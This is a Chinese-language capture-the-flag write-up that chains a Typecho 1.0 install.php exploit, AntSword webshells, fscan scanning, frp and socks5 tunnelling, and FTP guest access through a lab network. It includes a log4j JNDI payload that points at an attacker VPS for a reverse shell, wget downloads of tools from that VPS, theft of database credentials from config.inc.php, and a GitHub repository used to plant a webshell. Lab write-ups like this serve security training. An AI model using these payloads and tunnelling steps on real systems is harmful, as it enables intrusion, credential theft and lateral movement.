开启靶场,访问主页,看到了这么个博客,用Wappalyzer简单的做了一下指纹识别,再配合F12查看源码,最终找到了博客的框架版本。
上网搜索一下Typecho 1.0/14.10.10
的nday利用,最终找到这么一篇文章:https://blog.csdn.net/weixin_43886198/article/details/111474906,完美符合条件,搭配上文章中提到的poc,我们向install.php发送特定请求,数据包内容如下
1 | POST /install.php?finish HTTP/1.1 |
输入buzhidao
链接蚁剑,根目录下读取文件拿到第一个flag
之后再去网站根目录下转转,读取config.inc.php
,得到数据库用户名以及密码,用蚁剑的数据管理模块搭配用户名密码链接,读取第二个flag
进入横向移动阶段,用拿的webshell
传一个fscan
到tmp
目录下,加权限查本机ip一通乱梭后,fscan直接开扫,扫描结果如下。
我们重点关注一下192.168.0.3
这个IP
,老办法传个frp
上去,其中frpc的内容如下
- Frpc.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17[common]
# 服务端地址及端口
server_addr = XXX.XXX.XXX.XXX
server_port = 10013
log_file = /dev/stdout
log_level = info
log_max_days = 3
# 发布本地 web 服务
[web]
type = tcp
# 映射ip
local_ip = 192.168.0.3
# 映射端口
local_port = 80
# 云服务器的80端口
remote_port = 10014
上传上去之后vps启动监听,靶机也启动frpc
成功把流量转发到了vps的10014端口上,访问界面如下
接下来的步骤就是通过目录扫描,发现源码泄露,然后再经过一番代码审计发现存在log4j漏洞,但这么一步一步截图操作下来有些太麻烦了,这里直接开打。
在vps上开启反弹shell监听,准备好jndi注入的链接。
在用户名处输入: ${jndi:rmi://xxxxxxx:1099/hiksok}
,完成jndi注入,vps提示上线,直接查看环境变量, 瞬秒3个flag.
然后跳到tmp
目录下,用wget
命令下载下来我们要用的fscan_amd64
和frpc
(已经挂在vps上了)
1 | vps: |
fscan扫描结果如下,这里去把192.168.1.3
给代理出来,启动frp
,访问代理结果,得到如下界面
这里是用到了我们git上马的一个技巧,去git一个有马的库到本地就行,因为这里可以对phtml进行解析,所以我们的马也要是phtml类型的,这里是自己建了这么一个库,我们直接submit一下地址就可以上马了:https://github.com/F4miti0n/bugku2.git
,最终也是蚁剑成功链接,在根目录读取到了第七个flag
接着到tmp
上传frp
和fscan_amd64
,查完ip之后发现它还有一个网卡,我们把目标定为10.xx.xx.xx
这个网段,fscan开扫结果如下。
基本没什么东西能打了,10.10.0.1
和10.10.0.2
都被打完了,只有10.10.0.3
这么个漏网之鱼还留着。因为它只开了21端口,我们肯定会先想到去打它的ftp
服务,比如用匿名访问什么的去试一下。但不管怎么样,显然我们需要先把他给代理出来,再调用一下frp
(frpclient内容如下)
1 | [common] |
本来是想单独代理一个端口出来的,但发现ftp怎么都链接不上,看提示说好像是还要代理几个别的端口,很烦人,直接上个socks5
代理当vpn
用算了,靶机那边链接一下frp,kali那边在conf文件下配置/etc/proxychains4.conf
。
1 | socks5 xxx.xxx.xxx.xxx 60014 |
一开始匿名访问没有成功,后来发现原来给提示了,账户名密码都是guest
,我们直接就能链接上ftp,最终在根目录和当前目录收集到了最后两个flag。